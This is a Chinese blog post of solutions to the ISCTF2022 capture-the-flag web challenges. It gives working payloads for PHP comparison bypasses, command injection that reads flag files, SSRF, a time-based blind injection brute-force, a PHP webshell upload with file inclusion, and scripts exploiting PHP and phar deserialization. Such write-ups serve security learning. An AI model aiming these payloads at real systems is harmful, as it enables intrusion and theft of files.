ISCTF2022 WEB题解

直到现在才想起自己之前的题解只发到了个人博客没有发到CSDN上,发一下自己的博客链接,欢迎各位大佬来交流!

EASY-PHP01

思路:主要是考察php基础,查看源码让给hint,直接/?hint=1

打开发现一个弱比较一个强比较,用post传递ISCTF=114514a加字母绕过得到flag

EASY-PHP02

?NAME=1接着就是flag1,md5的弱类型比较,存在漏洞用0e表示的话可以绕过

故payload为?NAME=1&P0ST1=0&P0ST2=240610708得到flag1

GET1又是个弱类型比较,直接GET1=a就可以绕过,判断isnumeric也可以加字母绕过,故POST只需要传入

GET1=a&GET2=699a即可得到

得到的f2通过源码可以发现是进行了base64加密,拿去解密

%u0030%u0065%u0066%u0062%u002d%u0031%u0033%u0036%u0039%u002d%u0034%u0036%u0031%u0033%u002d%u0061%u0030%u0033%u0038%u002d%u0066%u0034%u0065%u0032%u0030%u0031%u0061%u0037%u0063%u0061%u0030%u0037%u007d

拿去hex解密得到后半段,f1也是hex,直接用在线工具解密即可

ISCTF{37470efb-1369-4613-a038-f4e201a7ca07}

FakeWeb

打开网址发现要进行跳转,直接抓包得到flag

       <meta http-equiv="refresh" content="0;url=https://www.bluesharkinfo.com">//跳转地址
        <!-- ISCTF{b9e6e2a5-8230-40a9-97de-883fb284def2} -->

simplephp

前面是正则匹配的规则,#代表/,两个\代表一个\

故payload:?str=/\\\\/Ilikeisctf/

一个点绕过 is_numeric

在数字的前面加上%09 %0a %0b %0c %0d任意一个都可以使其为真不影响判断。

参考ctfshow web115原题

trim不会过滤/f

?str=%22\\\\/Ilikeisctf%22&num=%0C36&cmd=system(%27cat%20../../../../flag%27);

curl

需要从本地访问,查看源码发现可以用urls直接访问即可,唯一一个一血呜呜呜

payload:?urls=localhost/flag.php

eazy-onlineshell

思路:访问rce提示让我们看看backup,访问www.zip得到Py源码

需要用post提交然后传入action

执行sleep 5发现有影响(注意前面后面加个东西),但是试了下curl啥的都没反应

说明可以进行时间注入,直接用if进行爆破跑出flag即可

act=1if [ $(head -c 43 flag) == "ISCTF{142b7761-dab6-46a1-8659-1a7567c91134§1§" ]; then sleep 100; else echo "String1 and String2 are not equal."; fi1

crazy-onlineshell

同上

easy_upload

首先访问www.rar(比赛的时候试了www.zip,index.php.bak等其他的加密,已经气死了),得到源码可以发现了过滤了哪些字符

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
if (preg_match("/flag|\.\.|\/\//i", $file)) {
echo "no hack";
 exit();
} 
include $file;
}else{
    include("upload.php");
}
?>

有文件包含,如果说能上传一个文件就可以直接访问,故进行文件上传

Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
​
<?=system("cat /f*");?>

然后文件包含,payload如下:

index.php?file=uplO4d/1.jpg

傻柱

(比赛的时候没有跑出来,是否放弃跑其他数据库的时候选择了Y,导致没出,害)

访问/login.php进入登陆发现是sql注入,直接上sqlmap当脚本小子,判断出是UA注入,然后直接读数据即可

sqlmap参数写

--level 5 --dump最后读出来就行了

咦 这个密码 怎么怪怪的

这个分段,猜测栅栏密码,总共5部分,key为5

得到

JFJUGVCGPNAF6M3BON4V6QSBKNCTGMRBPU======

有等号,然后猜测base,试了下base32得解

ISCTF{@_3asy_BASE32!}

猫和老鼠

一道反序列化加文件包含的题目,重点是反序列化,只要进入tostring就可以通过改变$v进行文件包含,但是在析构函数的时候$a的值,所以我是通过令$b指向$a的地址,那么通过改变$b则可改变$a,从而调用tostring,后续就是一个文件包含,直接用php://filter读取flag.php即可得到,exp如下

<?php
class mouse
{
    public $v="php://filter/read=convert.base64-encode/resource=flag.php";
​
    public function __toString()
    {
        echo "Good. You caught the mouse:";
        include($this->v);
    }
​
}
class cat
{
    public $a;
    public $b;
    public $c;
​
    /*public function __construct()
    {
        $this->b = &$this->a;
        $this->c = new mouse();
    }*/
​
    public function __destruct(){
        $this->dog();
        $this->b = $this->c;
        die($this->a);
    }
    public function dog()
    {
        $this->a = "I'm a vicious dog, Kitty";
    }
}
$a = new cat();
$a->b = & $a->a;
$a->c = new mouse();
echo serialize($a);
?>

rce?

主要考察了无字符rce这个点,需要构造字母来进行rce,参考一下p神的文章

一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

然后因为前面有了echo了,所以直接构造cat flag

这里我才用的是异或构造

(""^"{{{|``")(""^"``| /````");

然后再进行url编码如下

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");

得到flag

upload

试了半天才发现给了源码=-=

白盒测试,index.php主要是上传文件,重点在class.php

一直以为是这一串$this->ext = end(explode(".", $_FILES["file"]["name"]));进行后缀绕过,所有方法都试过了发现是第五空间原题,一个反序列化

能够用 check_img 的 file_exists 触发 phar 反序列化,进而触发 upload 的 wakeup 读取

exp:

exp:```<?php
class upload
{
     public $filename="/flag";
}
$p = new upload();
$phar = new Phar("test.phar");
$phar->startBuffering();
phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($p);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

改后缀为png上传直接访问?img_name=phar:///var/www/html/upoload/test.png得到flag

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值